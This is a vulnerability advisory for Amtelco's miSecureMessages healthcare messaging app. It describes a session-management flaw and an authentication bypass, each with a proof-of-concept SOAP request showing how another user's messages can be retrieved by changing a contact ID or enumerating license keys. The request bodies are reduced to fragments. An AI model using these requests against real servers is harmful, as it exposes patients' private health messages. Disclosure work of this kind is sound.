Affected Product ================================== miSecureMessages from Amtelco - Tested on version: Client=4.0.1 Server=6.2.4552.30017 iOS: https://itunes.apple.com/us/app/misecuremessages/id423957478?mt=8 android: https://play.google.com/store/apps/details?id=com.amtelco.secure website: https://misecuremessages.com/ Product Description ================================== miSecureMessages is a secure, two-way instant smartphone and tablet messaging Androidâ„¢ App that uses encryption to keep your messages private. Messages can be sent securely from device to device, and by using the secure cloud-based or on-site directory solution. When you receive a message from miSecureMessages, a Persistent Alert notifies you until you acknowledge the message. You can view the message, and quickly send a secure reply. miSecureMessages is perfect for healthcare and medical professionals to protect patient PHI, as well as industries that need secure instant messaging. Vulnerability Details ================================== ---------------------------------- Session Management Vulnerability ---------------------------------- miSecureMessages lacks any sort of session management. Among other things, this allows any user to modify the xml requests to retrieve other users messages. PoC(1): POST /msmwebservice/service.asmx HTTP/1.1 Host: misecureserver.localhost.com Proxy-Connection: keep-alive Accept: */* Accept-Encoding: gzip, deflate Content-Type: text/xml; charset=utf-8 Accept-Language: en-us SOAPAction: http://amtelco.com/ssm/GetMessages Connection: keep-alive User-Agent: miSecureMessages/4.0.1 CFNetwork/672.0.8 Darwin/14.0.0 11falseXXXX.X.XXXX Due to the lack of session management, it is possible to change the value to any valid contact ID and retrieve all messages for the user associated with that contact ID. ---------------------------------- Authentication bypass vulnerability ---------------------------------- Authentication is not required to access messages, only the input of a valid "license key". By modifying and sequentially enumerating through the it is possible to retrieve all messages without authenticating. PoC(2): POST /msmwebservice/service.asmx HTTP/1.1 Host: misecureserver.localhost.com Content-Type: application/soap+xml; charset=utf-8 Content-Length: 473 XXXX.X.XXXX 1 false 1